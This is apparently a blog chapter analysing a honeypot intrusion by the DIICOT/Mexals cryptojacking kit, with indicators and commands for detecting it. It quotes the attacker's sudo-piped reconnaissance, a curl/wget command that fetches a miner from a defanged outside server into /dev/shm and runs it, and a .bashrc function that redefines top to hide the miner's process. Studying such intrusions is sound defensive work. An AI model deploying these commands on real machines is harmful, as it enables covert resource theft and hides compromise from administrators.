ES EN
Index

DIICOT · Chapter 23

The command that lies

I left a password sitting on a decoy and, one Sunday, something came through it three times. I neutralised what it brought; what I didn't see until later was what it left planted — a line in .bashrc that makes «top» lie and hide the very process eating the machine. A rootkit without a rootkit. And putting two frozen disks side by side turned up the detail that changes everything: the same line, with a different number.

Almost everything that knocks on a decoy's door is a machine that scans, tries four passwords and moves on. This was different — and not because of how it got in, but because of what it left behind.

One Sunday in September, something came through three times. The first visit didn't lift a finger; the last left the machine seeded. And the interesting part isn't any one of the three on its own: it's what you see when you line them up.

There's one thing, besides, that only shows up because I froze the disk after every visit — a snapshot of the filesystem exactly as it was left. Three snapshots. Without them, the finding at the end of this chapter would have walked straight past me.

01Three visits, one step up each time

The first thing that jumps out when you compare the three disks is where the line falls:

the three visits, compared on disk
# the stock .bashrc on this machine is 607 bytes
visit 1   early afternoon        .bashrc 607 B   no cron   no preload
visit 2   that evening           .bashrc 774 B   cron_d_9499   ld.so.preload
visit 3   ninety minutes on      .bashrc 774 B   cron_d_4836   ld.so.preload

The first came in, sized the machine up, did its thing and left without planting anything: the administrator's shell config file still weighs what it weighed out of the box, there are no new scheduled tasks, there's no loader lever. If the day had stopped there, I'd have a sample and not much of a story.

The second was the one that stayed: it set up five footholds at once, the backdoor among them. And the third came back ninety minutes later — from the same address as the second — and reapplied them one by one, on top of the ones already there.

A critter that mops the floor twiceReapplying what's already in place looks like a waste, and it isn't: it suggests the kit doesn't check whether it has been here before. It walks in, runs its whole list, and leaves. What to me reads as «it came back for the same thing» is, to it, the first time — every time. That's the sort of detail that separates a list being executed from someone reading the screen.

02How it sizes up the house before moving in

Every critter, the moment it sets foot on a machine, measures it: it wants to know what CPU it has and how many cores, because that's what decides how much it can mine. This one starts with a test I enjoyed finding:

the capability probe
printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter

It writes a file, makes it executable, runs it, checks the output is what it expected, and deletes it. The file itself is dumb — two lines. What has substance is what it's for: it's a test of whether this folder allows writing and, crucially, executing. Plenty of well-built servers mark their temp directories as «nothing runs here», and the critter checks before wasting time pulling down a binary it won't be able to launch.

A clarification, because I tripped over this myselfThe file it writes is called filter and it's harmless: two lines and an echo. There's nothing inside it to analyse. The value is in the wrapper — the check surrounding it. Boring file, interesting wrapper; for a while I was looking in the wrong place.

And right after, the detail that gives away whoever is behind this:

how it counts cores
echo '<password>' | sudo -S sh -c 'nproc || /usr/bin/nproc || busybox nproc || grep -c ^processor /proc/cpuinfo'

Read it left to right: it tries nproc; if that's missing, it tries the full path; failing that, busybox; and if none of those exist, it counts the lines of a system file by hand. Four routes to find out a single number. All of it while feeding the password to sudo down a pipe, to get administrator rights without anybody typing a thing.

Every order it issues is wrapped like that. Nobody writes that by hand three times in one day.

The fallback chain says where the kit is aimedbusybox is a program that acts as a Swiss army knife on stripped-down systems — routers, cameras, video recorders — where the normal Linux tools aren't installed. Catering for that case isn't padding: it means the kit isn't aimed only at servers, it expects to land on gadgets. Same idea as when it asks about the graphics card: it wants to know what it'll be mining with before choosing what to pull down.

The rest of the reconnaissance is short and to the point — what system this is, how many cores, how long it's been up, whether there's a GPU, and what architecture the CPU is:

the reconnaissance
uname -s -v -n -m              # system, version, hostname and architecture
nproc                          # cores — this decides how much it can mine
cat /proc/uptime               # how long it's been running
grep -i vga ; grep -i nvidia   # any graphics card? they have a GPU branch
uname -m                       # the architecture, on its own: needed for the download

That block doesn't always come this short. In its long form it adds a question that has nothing to do with mining: it takes the output of last, which is the list of who has been logging in to this machine. They're not only here for the cores — while they're at it, they note down who comes and goes.

03The download

With the machine measured, down comes the payload. This is the whole order, and it's worth reading in full:

pulling down the miner
cd /dev/shm && ( curl -Lko .16 --retry 3 --retry-delay 3 --retry-connrefused \
      hxxp://5.189.149[.]171/f/brute/m/.16_$(uname -m) \
   || wget --tries=3 --no-check-certificate -O .16 hxxp://5.189.149[.]171/f/brute/m/.16_$(uname -m) )
chmod +x .16 ; ./.16

Three things define this line, and all three are deliberate choices.

It doesn't touch the disk: it uses /dev/shm, a folder that actually lives in RAM. Whatever is written there vanishes when the machine powers off, and leaves far less behind for whoever investigates afterwards.

It carries curl and, if that fails, wget — the two usual command-line download tools. Belt and braces, the same pattern as the fallback chain above.

And the CPU architecture isn't written in: it asks the machine with $(uname -m) and pastes the answer onto the end of the address. The server then hands back the binary built for that exact CPU. One single command that works on an x86 server and on an ARM router alike.

The file is called .16. The leading dot makes it invisible to an ordinary listing, and the name — a two-digit number — is so nondescript the eye slides right off it. That name is coming back in a moment, and that's where this chapter turns.

The server path talksLook at the address: /f/brute/m/. It's structured — one folder per campaign, another per payload type, architecture at the end. That suggests there are more campaigns and more payloads on that server than this one. The name of the first folder will end up mattering, but that's for further down the line.
SPECIMEN 008 · ELF

DIICOT / Mexals · Monero miner

◈ LIVE · DO NOT RUN
Type
ELF 64-bit x86-64 · static · stripped
Size
3,373,344 bytes
Packed
no
Renames itself
16
Function
CPU miner + installer of its own persistence
Config
encrypted (single-byte XOR)
SHA-256
a151d3f4f2422531f30a843ffb35479596c86722bb103bdf8591105687f9b125

The family is DIICOT — also known as Mexals — an old acquaintance of the cryptojacking world, documented since 2021 by Bitdefender, Akamai, Cado, Darktrace and Wiz. What DIICOT is isn't something I'm discovering here: it's been told, and told well. What I'm bringing is what you see when you look at these three disks.

And on one of the later visits they didn't just pull this one down: they also brought a second miner, a GPU one, dropped under the name init. That's the answer to the graphics-card question from the previous section — yes, they had a GPU branch, and they carried it with them. It's ethminer, a perfectly legitimate open-source miner — as XMRig is — so mind how you catalogue it: what points at these people isn't the program, it's the name they drop it under. And it never ran: the neutraliser caught it before it started, so which wallet that one was paying into is something I never got to find out.

Who stopped this — and who didn'tIt's tempting to hand the credit to the outbound firewall, and it would be a lie. Its rules act on the establishment of each new connection, not on data in flight: they're a rate limiter, not a cutter. The downloads that got through got through whole. What stopped the miner from ever mining was the neutraliser — killing the process and emptying the file — not the firewall. Telling it the other way round would be looking good at the expense of the truth.

04The command that lies

Here's the payoff, and it turned up going back over the disk afterwards. On the second visit, /root/.bashrc — the file that configures the administrator's shell — had gone from 607 to 774 bytes. A single line added at the end:

the line they added to /root/.bashrc
top() { trap 'tput cnorm' INT; tput civis; { script -q -c "/usr/bin/top" /dev/null \
        | sed -e '/16/d' -e '/libbase\.sh/d' -e '/7704/d'; } || /usr/bin/top; tput cnorm; }

Read it slowly, because it's a small piece of work.

In Linux you can redefine a command: write a function with the same name as a program that already exists. From that moment on, when somebody types that name the usual program doesn't run — your function does. It's an ordinary shell feature, meant for handy shortcuts. Here they're using it for something else.

The command they've redefined is top: the one every administrator types when the machine feels slow, to see what's eating the CPU. And their fake version does three things — it runs the real top, passes its output through a filter, and covers its tracks.

The filter is what matters. sed -e '/16/d' means, literally, «delete every line containing 16». And 16 —I told you that name would be back— is the name the miner renames itself to when it starts. Translated:

The administrator opens top to see what's eating the machine, and the one process eating it is the only one that doesn't show up.

The rest of the line is craftsmanship so nothing looks off. The script -q -c fools top into believing there's a screen in front of it, because if it detects its output going into a pipe it breaks and draws nothing. The tput civis and cnorm hide and restore the cursor — including if you hit Ctrl+C, thanks to the trap — so it looks identical to the real thing. And if anything fails, the || /usr/bin/top at the end runs the genuine one, so as not to raise suspicion even with an error.

A rootkit without a rootkitWhat's elegant — and unsettling — is that this does the same job as a rootkit (hiding a process from whoever looks for it) without being one: no injected library, no binary for an antivirus to sniff at. It's text in a config file that exists on every Linux. Cheaper to plant and far harder to find with malware tooling — but trivial to catch if you know where to look, because top has no business being a function.

05Five ways back in

The fake top is for hiding. To come back, that same visit set up five more things, and set them all up at once:

  • a systemd timer under an innocent name, system-helper, that fires on its own;
  • two scheduled tasks in /etc/cron.d/ — one with a fixed name, one with a random number;
  • an /etc/ld.so.preload, which is the lever for slipping a library inside every new process on the system;
  • the .bashrc backdoor from above;
  • and a tweaked .profile, so it fires on login shells too.

On disk nearly all of them show up at zero bytes — the containment emptied them — and it left the .profile padded with blanks. Of most of their contents I got nothing; of their names and locations, yes. The .bashrc one is the exception: it survived intact.

And I know what the .profile said even though it's blank, because the numbers add up: the file went from 132 to 147 bytes, and the fifteen that were added ended up zeroed. The line the miner writes there travels inside the binary itself and is exactly those fifteen characterssource .bashrc. You don't need the file to know what was in it.

But careful about reading that zero as if nothing had happened, because the kernel's own record says otherwise:

what the kernel logged about the timer
type=SERVICE_START  unit=system-helper  comm="systemd"  res=success
comm="system-helper-r"  ppid=1          # launched by the system itself, not by a session

The timer was enabled, started, and ran its script. That ppid=1 is the signature of the system setting it off on its own, with nobody logged in any more.

And here's my favourite detail in the whole case, because it closes the gap without needing the file at all: systemd will not start an empty unit. If the file reads zero on the frozen disk but the log says the service started fine, then it had content when it started — the zero came afterwards. I don't know what was inside, but I know there was something, and that it worked.

What did stay an attempt — and shouldn't be lumped inThe timer worked; the real rootkit didn't. That /etc/ld.so.preload is the lever for the other kind of concealment, the one that injects a library into every new process and can hide whatever it likes. But there the file ended up empty and the library was never written: it hid nothing, on any of the visits. They're two different things and they deserve telling apart — the systemd foothold actually ran, the library rootkit stalled at the door. The one that did work for hiding was the third: the line of bash, which needs no library at all.

The two files that survived also carry the same timestamp, down to the second: the five footholds aren't built up gradually, they're planted in one go.

Put it in context: in the afternoon they left without planting a thing, and a few hours later the machine had five footholds and a command that lies. That isn't a kit that fires once and forgets.

06The number that doesn't add up

Go back to the .bashrc line and look at what the filter deletes. Three things:

the three patterns it hides
sed -e '/16/d'            # the miner's name — that adds up
    -e '/libbase\.sh/d'   # a file that doesn't exist on my machine
    -e '/7704/d'          # a loose number? where does that come from?

The first adds up. The second is a file I searched the whole disk for and never found. And the third looks like a process number — what Linux calls a PID, the identifier the system hands each running program. But PIDs are handed out by each machine as it goes: you can't know them in advance.

My first theory was that another victim's template had slipped through — that this 7704 was a process number on some other machine, copied over without noticing. It sounds good, it points to sloppiness, and it makes a nice headline.

I was wrong. And I found out because I had one disk more.

First: that number belongs to this machine. The kernel audit trail confirms it — during that visit, process 7704 was alive in here, spawning children of its own. It's the critter's number, on that particular visit.

And the second part is what settles it. The third visit came back and reinstalled the same backdoor. Side by side:

The last two lines of /root/.bashrc on the frozen disks of two different visits: the backdoor is identical except for the number, 7704 on one and 2845 on the other
The same backdoor, two installations. The last line of .bashrc on the frozen disk from each visit. They're the same sentence, character for character: the redefinition of top, the filter deleting 16 and libbase.sh, and the flourish that restores the cursor. The only thing that changes is the number marked in red — 7704 on one visit, 2845 on the other.

The same line, letter for letter, with a different number. The two names — 16 and libbase.sh — are fixed constants. The number is the only thing that changes from one installation to the next, and it matches the process doing the writing.

And this is better news than what I thoughtMy sloppiness theory was a weak lead and, on top of that, false. What's actually there is stronger: if the line comes out of a template, then it's the same on every machine this kit gets into, letter for letter, except the number in the middle. That turns an accident into a signature. You don't need to know what number your machine has: you just look for the shape.

So if you run servers, this is what to look for, and it costs a second:

how to catch it
declare -f top crontab kill        # if they return code, there it is
grep -nE '^(top|crontab|kill)\(\)' ~/.bashrc /root/.bashrc /etc/profile.d/*
grep -rl 'libbase\.sh' /etc /usr/local /root ~

I ask about three commands and not one because top is the only one I found installed here — the other two turn up ready and waiting inside the binary, and I open them in the next chapter.

What I still don't know is who writes that number. Because if it changes with every installation and matches a process that was alive, something is working it out and pasting it in on the fly, in a matter of seconds. The answer isn't on the disk: it's inside the miner, and getting it out means opening it up.

07Indicators (IOCs)

These are from the capture. The ones from inside the binary — who it pays, and who fills that gap — go in the next chapter.

TypeValue
Source IPs92.118.39.77 (first visit) · 62.171.133.1 (second and third — the same one, a repeat)
Second payloadethminer dropped under the name init — legitimate software: what flags it is the deployment name, not the program
Delivery serverhxxp://5.189.149[.]171/f/brute/m/.16_<arch> — structured path: campaign / type / architecture
Shell backdoor — the signaturea top() function in .bashrc piping top through a sed that deletes 16, libbase.sh and a variable number.
⚠️ That number doesn't repeat across victims: don't hunt for it, hunt for the shape of the line.
Cheap detectiondeclare -f top crontab kill · grep -nE '^(top|crontab|kill)\(\)' ~/.bashrc
Process / file name16 · /dev/shm/.16 · /root/.16
Persistencesystem-helper (systemd timer) · /etc/cron.d/cron_d_<n> · /etc/ld.so.preload · /root/.profile
Shell hook componentlibbase.sh — referenced by the backdoor; never written here
Capability probeprintf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter
Reconnaissanceuname -s -v -n -m · nproc · cat /proc/uptime · grep -i vga / nvidia · four-way fallback chain down to busybox
Privilege escalationecho '<pass>' | sudo -S sh -c '…' — credential down a pipe on every order
SHA-256 (miner)a151d3f4f2422531f30a843ffb35479596c86722bb103bdf8591105687f9b125

The one that lasts isn't any hash — those change with every rebuild. It's the shape of the backdoor: a top that's a function instead of a program. A gesture so anomalous it's caught with a single command, and one that survives every recompilation they care to do.

To be continued — I kept the miner sample. Inside it is the answer to who fills that gap, and along the way, who gets paid: a wallet hidden behind encryption that's frankly laughable. I open it with Ghidra in Chapter 24. 🍯

Comments